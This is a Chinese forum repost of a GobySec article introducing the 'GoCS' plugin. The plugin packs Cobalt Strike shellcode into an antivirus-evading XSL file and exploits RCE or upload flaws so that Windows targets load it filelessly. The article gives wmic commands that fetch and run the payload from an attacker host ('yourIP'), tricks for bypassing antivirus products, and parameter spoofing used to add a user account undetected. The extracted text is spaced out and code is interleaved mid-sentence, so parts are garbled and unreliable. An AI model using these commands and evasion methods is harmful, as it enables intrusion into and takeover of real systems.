搜索

[17859] 2021-08-16_插件分享简单免杀绕过和利用上线的GoCS

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-08-16_插件分享简单免杀绕过和利用上线的GoCS 插 件 分 享   |   简 单 免 杀 绕 过 和 利 用 上 线 的   G o C S 原 创   h u t u t u Z h   G o b y S e c   2 0 2 1 - 0 8 - 1 6 收 录 于 话 题   # 插 件   , 4 个 G o b y 社 区 第 1 7   篇 插 件 分 享 文 章 全 文 共 ： 6 2 1 4   字       预 计 阅 读 时 间 ： 1 6   分 钟 前 言 ： 前 言 ： G o b y   可 以 快 速 准 确 的 扫 描 资 产 ， 并 直 观 呈 现 出 来 。 同 时 经 过 上 次   E X P   计 划 过 后 ， P o C & E X P   也 增 加 了 许 多 。 在 实 战 化 漏 洞 扫 描 后 ， 对 于 高 危 漏 洞 的 利 用 ， 不 仅 仅 只 在   w h o a m i   上 ， 而 是 要 进 入 后 渗 透 阶 段 ， 那 么 对 于   W i n d o w s   机 器 而 言 ， 上 线   C S   是 必 不 可 少 的 操 作 ， 会 让 后 渗 透 如 鱼 得 水 。 此 插 件 只 运 用 了 简 单 的 利 用 方 式 上 线   C S ， 希 望 师 傅 们 能 够 提 供 想 法 和 建 议 把 它 更 为 完 善 ， 源 码 中 有 详 细 的 注 释 ， 可 供 师 傅 们 快 速 理 解 。
  0 1   插 件 使 用 插 件 使 用 1 . 1   插 件 效 果 插 件 效 果 1 . 2   使 用 方 法 使 用 方 法 1 .   在 工 具 栏 导 入   C S   的   3 2   位   R A W   的   p a y l o a d   文 件   ( a t t a c k s   -   >   p a c k a g e s   -   >   p a y l o a d   g e n e r a t o r   -   >   o u t p u t : r a w   后 缀 为   b i n ) ， 将 免 杀 后 的 文 件 放 入   V P S   中 。
2 .   在   G o b y   插 件 配 置 中 设 置   V P S   免 杀 文 件 地 址 ， 在 实 际 使 用 中 也 可 以 进 行 实 时 的 更 改 。 3 .   在 漏 洞 利 用 详 情 页 中 点 击   G o C S 4 .   选 择 一 个 利 用 方 式 和 文 件 形 式 , 根 据 实 际 情 况 更 改   p a y l o a d   进 行 绕 过 拦 截 点 击   G O   即 可 发 包 利 用
  注 ： 现 无 法 只 在 目 标 为   W i n d o w s   的 机 器 才 显 示 该 插 件 ， 还 需 要 用 户 自 己 判 断 一 下 。   0 2   插 件 开 发 插 件 开 发 2 . 1   主 体 框 架 主 体 框 架 2 . 2   它 们 的 爷 爷 它 们 的 爷 爷   p a c k a g e . j s o n 该 插 件 由 工 具 栏 的   G o P a s s . h t m l   和 漏 洞 利 用 的   i n d e x . h t m l   进 行 大 部 分 工 作 ， 所 以 我 先 简 单 介 绍 它 们 的 爷 爷   p a c k a g e . j s o n ├ ─ ─   . g i t i g n o r e                     / /   忽 略 构 建 输 出 和 n o d e _ m o d u l e s 文 件 ├ ─ ─   R E A D M E . m d                       / /   插 件 介 绍 文 档 ├ ─ ─   C H A N G E L O G . m d                 / /   插 件 更 新 日 志 文 档 ├ ─ ─   s r c │       └ ─ ─   C S . p n g                   / / C S 的 图 片 │       └ ─ ─   a s s e t s       / / l a y u i │       └ ─ ─   e x t e n s i o n . j s             / /   插 件 源 代 码 │       └ ─ ─   G o p a s s . h t m l         / / 工 具 栏 制 作 免 杀 x s l 文 件 │       └ ─ ─   G o C S . h t m l             / / 漏 洞 利 用 页 面 进 行 发 包 利 用 上 线 C S ├ ─ ─   p a c k a g e . j s o n                   / /   插 件 配 置 清 单 ├ ─ ─   n o d e _ m o d u l e s             / / 引 入 模 块
2 . 3   它 们 的 爸 爸 它 们 的 爸 爸   e x t e n s i o n . j s 具 体 注 释 在 源 代 码 中 ， 在   G o b y   中 下 载   G o C S   后 可 在 根 目 录 下   e x t e n s i o n s   中 找 到 ， 这 只 分 析 重 点 。 这 个 页 面 是 父 页 面 ( 我 的 理 解 ) 在 引 入 模 块 时 直 接 引 用   l e t   f s   =   r e q u i r e ( ' f s ' ) ； 或 者 加   p a r e n t   也 可 以 。 点 击   C o m m a n d   为   G o P a s s   后 进 行 的 操 作 来 跳 出   G o P a s s . h t m l ： 进 行 发 包 和 利 用   E X P   的 代 码 ：         / / 在 工 具 栏 的 图 标 点 击 过 后 入 口         g o b y . r e g i s t e r C o m m a n d ( ' G o P a s s ' , f u n c t i o n ( c o n t e n t ) {                 / / 获 取 子 页 面 路 径                 l e t   p a t h   =   _ _ d i r n a m e   +   " / G o P a s s . h t m l "                 / / 打 开 子 页 面 并 配 置 长 宽                 g o b y . s h o w I f r a m e D i a ( p a t h ,   " G o P a s s " ,   " 6 6 6 " ,   " 5 0 0 " ) ;                         } )         / / 在 工 具 栏 的 图 标 点 击 过 后 结 束         / / 此 段 代 码 是 摘 取 G o 0 p 师 傅 的 G o b y _ e x p 插 件 源 码         / / 创 建 G e x p 类 进 行 发 包 获 取 漏 洞 详 情 和 利 用 漏 洞         c l a s s   G e x p   {         / / 引 入 包 和 模 块             c o n s t r u c t o r ( )   {                 t h i s . f s   =   r e q u i r e ( ' f s ' )                 t h i s . r e q u e s t   =   r e q u i r e ( ' r e q u e s t ' )                 t h i s . p a t h   =   r e q u i r e ( ' p a t h ' )             }             / / 初 始 化 函 数 之 类 的 吧             i n i t ( )   {                 t h i s . h o s t   =   t h i s . d a t a . s e r v e r _ h o s t ;                 t h i s . p o r t   =   t h i s . d a t a . s e r v e r _ p o r t ;                 t h i s . u s e r n a m e   =   t h i s . d a t a . a u t h U s e r n a m e ;                 t h i s . p a s s w o r d   =   t h i s . d a t a . a u t h P a s s w o r d ;               }                 / / 获 取 配 置 主 要 用 于 获 取 u s e r n a m e 和 p a s s w o r d 还 有 代 理 端 口               g e t S e r v e r I n f o ( )   {                         / / 对 目 录 下 得 配 置 文 件 进 行 读 取 返 回                         l e t   c o n f i g _ i n f o   =   t h i s . p a t h . j o i n ( _ _ d i r n a m e ,   ' . . / . . / . . / c o n f i g / c o n f i g . j s o n ' ) ;                                 / / 读 取 文 件 操 作                         t h i s . d a t a   =   J S O N . p a r s e ( t h i s . f s . r e a d F i l e S y n c ( c o n f i g _ i n f o ,   ' u t f - 8 ' ) ) ;
2 . 4   它 们 自 己 它 们 自 己 2 . 4 . 1   G o P a s s . h t m l   用 来 生 成 免 杀 用 来 生 成 免 杀   x s l   文 件 文 件 这 个 文 件 主 要 就 是 将   b i n   文 件 进 行   b a s e 6 4   加 密 后 和   x s l   文 件 进 行 拼 接 ， 生 成 一 个   G o P a s s . x s l   文 件 ， 供 后 面 进 行 远 程 加 载 。 X s l   文 件 的 是 使 用   c a c t u s T o r c h   作 为 加 载 器 加 载   s h e l l c o d e ， 再 运 用   w m i c   进 行 远 程 不 落 地 执 行   s h e l l c o d e 。 由 于 无 文 件 落 地 的 木 马 可 以 附 加 到 任 何 进 程 里 面 执 行 ， 而 且 传 统 安 全 软 件 是 基 于 文 件 检 测 的 , 对 目 前 无 文 件 落 地 木 马 检 查 效 果 差 ， 所 以 该 插 件 采 用 了 此 形 式 进 行 上 线   C S 。 而 原 版 本 的   x s l   文 件 生 成 后 就 会 被 杀 软 报 毒 ， 那 么 加 入   < ! - - - - >   注 释 符 号 进 行 简 单 免 杀 绕 过 ， 此 处 只 绕 过 基 本 的 杀 软 。                         t h i s . d a t a   =   J S O N . p a r s e ( t h i s . f s . r e a d F i l e S y n c ( c o n f i g _ i n f o ,   ' u t f - 8 ' ) ) ;                                 / / 返 回 应 该 是 j s o n 类 型 可 以 后 面 直 接 用                         r e t u r n   t h i s . d a t a ;                 }                   / / 点 击 按 钮 时 获 取 你 点 击 的 漏 洞 详 情                 g e t P O C I n f o ( v u l n a m e ,   p r o x y s t r )   {                         t h i s . i n i t ( ) ;                         / / 进 行 发 包 操 作 获 取 G o b y 本 地 的 返 回 包 ， 其 中 有 漏 洞 详 情 ， j s o n 类 型 进 行 后 面 处 理                         r e t u r n   n e w   P r o m i s e ( ( r e s o l v e ,   r e j e c t )   = >   {                                 / / 发 包 配 置 一 系 列 的 参 数                                 t h i s . r e q u e s t ( {                                     u r l :   ` h t t p : / / $ { t h i s . h o s t } : $ { t h i s . p o r t } / a p i / v 1 / g e t P O C I n f o ` ,                                     m e t h o d :   ' P O S T ' ,                                     a u t h :   {                                         ' u s e r ' :   t h i s . u s e r n a m e ,                                         ' p a s s ' :   t h i s . p a s s w o r d ,                                     } ,                                     p r o x y :   p r o x y s t r ,                                     j s o n :   {   " v u l n a m e " :   v u l n a m e }                                   } ,   f u n c t i o n   ( e r r o r ,   r e s p o n s e ,   b o d y )   {                                           / / 成 功 过 后 会 进 行 返 回 漏 洞 详 情                                           i f   ( ! e r r o r   & &   r e s p o n s e . s t a t u s C o d e   = =   2 0 0 )   {                                                 / / 成 功 状 态 获 取 返 回 值                                                 r e s o l v e ( b o d y ) ;                                           }   e l s e   {                                                 / / 失 败 状 态 返 回 错 误 详 情                                                 r e j e c t ( e r r o r )                                           }                                 } ) ;                         } )                   }                         / / 发 包 利 用 漏 洞 ， 主 要 用 来 更 改 e x p 的 参 数             d e b u g E x p ( p o s t _ d a t a ,   p r o x y s t r )   {                         t h i s . i n i t ( ) ;                         / / 进 行 发 包 操 作 和 本 地 G o b y 进 行 交 互 ， 利 用 更 改 e x p 的 值 进 行 利 用                         r e t u r n   n e w   P r o m i s e ( ( r e s o l v e ,   r e j e c t )   = >   {                                 / / 发 包 构 造 一 系 列 参 数                             t h i s . r e q u e s t ( {                                 u r l :   ` h t t p : / / $ { t h i s . h o s t } : $ { t h i s . p o r t } / a p i / v 1 / d e b u g E x p ` ,                                 m e t h o d :   ' P O S T ' ,                                 a u t h :   {                                     ' u s e r ' :   t h i s . u s e r n a m e ,                                     ' p a s s ' :   t h i s . p a s s w o r d ,                                 } ,                                 p r o x y :   p r o x y s t r ,                                 j s o n :   p o s t _ d a t a                             } ,   f u n c t i o n   ( e r r o r ,   r e s p o n s e ,   b o d y )   {                                 i f   ( ! e r r o r   & &   r e s p o n s e . s t a t u s C o d e   = =   2 0 0 )   {                                     / / 输 出 返 回 的 内 容                                     / /   c o n s o l e . l o g ( b o d y ) ;                                     r e s o l v e ( b o d y ) ;                                 }   e l s e   {                                     r e j e c t ( e r r o r )                                 }                             } ) ;                 } )             }         } / / 构 造 G e x p 类 结 束  
同 时 在 重 要 函 数 名 上 也 如 此 。 此 处 只 讨 论 静 态 免 杀 ， 在   v t   上 效 果 如 下 。 效 果 是 不 够 的 好 ， 加 入   < ! - - - - >   如 同   P   图 ， P   得 越 多 ， 越 . . .   根 据 上 面 的 绕 过 举 一 反 三 过 后 的 免 杀 如 下 。
这 几 个 感 觉 是 执 行 了 文 件 ， 只 把 一 个 字 母 大 写 ， 代 码 不 能 执 行 了 它 们 就 不 报 毒 了 ， 所 以 后 期 还 需 要 加 强 免 杀 。 2 . 4 . 2   i n d e x . h t m l   用 来 生 成 漏 洞 利 用 上 线 用 来 生 成 漏 洞 利 用 上 线   C S 这 个 文 件 主 要 用 来 ， 调 用   e x t e n s i o n . j s   文 件 中 的   G e x p   类 ， 获 取   P o C   的 参 数 进 行 更 改 后 调 用   E X P   进 行 发 包 利 用 ， 其 中 利 用 方 式 有   R C E   和   u p l o a d   两 种 ， 文 件 形 式 有   p h p ， a s p ， j s p 三 种 ( 以 后 会 加 入   a s p x ) ， 源 码 中 有 具 体 的 注 释 。 此 处 因 为 是 子 页 面 使 用 引 入 模 块 时 必 须 加 入   p a r e n t 同 时 如 果 你 使 用   e x e c   函 数 调 用   c m d   也 是   G o b y . e x e   进 行 调 用 的 ， 生 成 文 件 会 在   G o b y   的 根 目 录 下 面 ， 不 指 定 目 录 写 文 件 也 是 一 样 。 初 次 写   j s   的 师 傅 注 意 ， 下 拉 框 因 为 是   d i v   修 饰 过 的 ， 不 能 再 使 用 原 生 的 事 件 进 行 监 听 ， 要 使 用   l a y u i   的 语 法 进 行   s e l e c t   监 听 事 件 。 以   p h p   为 例 ， 漏 洞 利 用   u p l o a d   是 上 传 写 入   p h p   代 码 执 行   c m d   调 用   w m i c   远 程 加 载 运 行   s h e l l c o d e ， R C E   是 默 认 可 以 执 行 系 统   d o s   命 令 的 情 况 下 ， 调 用   w m i c   进 行 远 程 加 载 运 行   s h e l l c o d e   ( 如 果 是 代 码 执 行 漏 洞 还 需 要 自 己 添 加   s y s t e m ( )   之 类 的 调 用   c m d   的 函 数 ) 最 开 始 的   x s l   文 件 有 了 简 单 的 免 杀 后 ， 能 不 能 成 功 上 线 还 得 看 最 后 一 步   w m i c   的 命 令 ， 正 常   w m i c   命 令 是   w m i c   o s   g e t   / f o r m a t : " h t t p : / / y o u r I P / a . x s l " 不 用 想 ， 这 肯 定 会 被 某 全 家 桶 拦 截 ， 所 以 我 们 必 须 绕 过 拦 截 ， 那 么 使 用 用 到 烂 的   e c h o   加 管 道 符   |   来 试 试 e c h o   o s   g e t   / f o r m a t : " h t t p : / / y o u r I P / a . x s l " | w m i c l e t   f s   =   p a r e n t . r e q u i r e ( ' f s ' ) ; l e t   g o b y   =   p a r e n t . g o b y ;                 / / s e l e c t 监 听 事 件 开 始                 / / l a y u i 的 监 听 事 件 和 原 生 s e l e c t 不 一 样                 l a y u i . u s e ( [ ' f o r m ' ] ,   f u n c t i o n   ( )   {                         v a r   f o r m   =   l a y u i . f o r m ;                         / / 下 拉 框 改 变 事 件 开 始                         / / l a y u i 的 调 用 写 法 ， 因 为 s e l e c t 采 用 的 是 l a y u i 的 样 式 使 用 要 用 它 的 写 法 不 能 用 原 生 的                         / / i d 为 v l u l 的 下 拉 框 的 值 改 变 后 触 发                         f o r m . o n ( ' s e l e c t ( v l u l ) ' ,   f u n c t i o n   ( d a t a )   {                                 / / 调 用 函 数 主 要 用 来 更 新 t e x t a r e a 中 的 内 容                                 c h a n g e E ( ) ;                         } ) ;                         / / i d 为 t x t 的 下 拉 框 的 值 改 变 后 触 发                         f o r m . o n ( ' s e l e c t ( t x t ) ' ,   f u n c t i o n   ( d a t a )   {                                 / / 调 用 函 数 主 要 用 来 更 新 t e x t a r e a 中 的 内 容                                 c h a n g e E ( ) ;                         } ) ;                         / / 下 拉 框 改 变 事 件 结 束                 } ) ;                 / / s e l e c t 监 听 事 件 结 束
  本 地   c m d   执 行 不 会 被 拦 ， 但 是   U p l o a d   利 用 时 候 ， 写 入 页 面 后 ， 再 加 载 页 面 时 候 会 被 拦 ， 这 意 外 么 ？ 毫 不 意 外 。 但 是 这 里 有 趣 的 是 ， 其 实 这 里 绕 过 了 但 是 没 有 完 全 绕 过 ， 根 据 高 级 的 食 材 往 往 只 需 简 单 烹 饪 这 一 道 理 ， 所 以 我 决 定 简 单 烹 饪 ， 将 它 写 入   b a t   文 件 中 本 地 执 行 ， 最 后 发 现 某 全 家 桶 毫 无 拦 截 。 所 以 页 面 中 不 调 用   w m i c ， 而 是 把 它 写 入   b a t ， 本 地 去 执 行   w m i c   这 样 就 不 会 被 拦 截 。 所 以 最 后 命 令 为   e c h o   ^ e c h o   o s   g e t   / f o r m a t : " h t t p : / / y o u r I P / a . x s l " ^ | w m i c > > 1 . b a t & & 1 . b a t 最 后 来 看 看 在 某 斯 基 ， 某 全 家 桶 ， 某 管 家 ， 某 绒 的 监 督 下 ， 不 落 地 执 行   s h e l l c o d e   会 是 什 么 样 子 。
看 着   6   秒 没 有 反 应 ， 还 以 为 是 被   某 斯 基   杀 了 ， 结 果 发 现 没 有 。 上 线 后 如 果 执 行 敏 感 操 作 ， 如 创 建 用 户 ， 可 以 考 虑 用   a r g u e   参 数 污 染 。 使 用 参 考 h t t p s : / / w w w . f r e e s i o n . c o m / a r t i c l e / 3 3 4 2 9 0 4 3 3 6 / # 参 数 污 染   n e t # 查 看 污 染 的 参 数 # 用 污 染 的   n e t   执 行 敏 感 操 作 全 程 某 全 家 桶 是 没 有 进 行 拦 截 的 原 理 简 单 来 讲 也 如 同   P   图 ， 原 本 执 行   n e t ， 但 是 污 染 后   c o m m a n d   却 是   n e t   x x x x x x x x x x ， 达 到 绕 过 。 你 在 使 用 中 肯 定 会 遇 到 一 些 小 问 题 ， 比 如 ， w m i c   加 载 了 一 个 没 有 开 放 的 端 口 就 会 出 现 a r g u e   n e t   x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x a r g u e e x e c u t e   n e t   u s e r   t e s t 2   r o o t 1 2 3   / a d d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理